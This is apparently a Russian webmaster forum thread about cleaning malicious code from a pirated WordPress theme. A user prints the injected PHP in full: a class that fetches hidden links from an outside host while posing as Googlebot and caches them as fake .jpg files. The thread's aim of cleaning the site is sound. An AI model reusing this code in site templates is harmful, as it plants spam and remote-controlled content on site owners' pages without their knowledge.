- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу
VK приобрела 70% в структуре компании-разработчика red_mad_robot
Которая участвовала в создании RuStore
Оксана Мамчуева
Маркетинг для шоколадной фабрики. На 34% выше средний чек
Через устранение узких мест
Оксана Мамчуева
Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий
с подобными вирусами
Это не вирусы. У них это называется "партнерские ссылки". 😂
Это не вирусы. У них это называется "партнерские ссылки".
Дурят нашего неопытного брата как хотят.
Про "партнерские ссылки" с этого вп темплейтс уже есть тема давняя )))
Может поможет.
/ru/forum/862606
А тут решение проблемы
http://itzashita.ru/nasha-veb-masterskaya/vredonosnyiy-kod-na-sayte-teper-i-v-rezhime-on-layn-chast-5.html
и тут меньше воды
http://black-and-white.org.ua/ubiraem-vredonosnyj-kod-na-wordpress-sajtax/
longin, спасибо но ничего не помогло. Максимум чего добился, это, что на морде и рубриках всё норм, а когда заходишь в статьи нет сайдбара и нет панельки верхней чёрной ВП. Это получилось если удалять весь код ниже этого места:
error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');
Отсюда ниже всё удалял.
class Get_links {
var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;
function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;
@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);
if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);
$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}
function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2012/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;
if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}
---------- Добавлено 05.03.2017 в 02:33 ----------
Всё гениальное просто. Нашёл чистый шаблон с другого сайта, заменил файлы функционс и коментс пхп и всё стало норм. Спасибо всем за попытки помочь. Но есть но, конец этого шаблона имеет вид:
'menu_2' => 'Menu 2'
)
);
}
// new code for image uploads
function my_js() { ?>
<script type="text/javascript" language="javascript">
jQuery(document).ready(function() {
var formfield;
jQuery('#upload_image_button').click(function() {
formfield = jQuery('#upload_image').attr('name');
tb_show('', 'media-upload.php?type=image&TB_iframe=true');
return false;
});
window.original_send_to_editor = window.send_to_editor;
window.send_to_editor = function(html) {
if (formfield) {
imgurl = jQuery(html).attr('href');
jQuery('#upload_image').val(imgurl);
tb_remove();
formfield = '';
} else {
window.original_send_to_editor(html);
}
};
});
</script>
<?php }
function my_admin_scripts() {
wp_enqueue_script('media-upload');
wp_enqueue_script('thickbox');
add_action('admin_head', 'my_js');
}
function my_admin_styles() {
wp_enqueue_style('thickbox');
}
if (is_admin()) {
add_action('admin_print_scripts', 'my_admin_scripts');
add_action('admin_print_styles', 'my_admin_styles');
}
?>
<?php
error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');
?>
Это вредоносный код или норм? Параноя понимаете ли.
---------- Добавлено 05.03.2017 в 03:10 ----------
longin, спасибо Вам. Реально помогли, без файла "коментс" ничего бы не вышло. Я при замене пробовал менять только функтионс (с чистого шаба) сайдбар тоже пропадал, а когда заменил и коментс всё нормально заработало.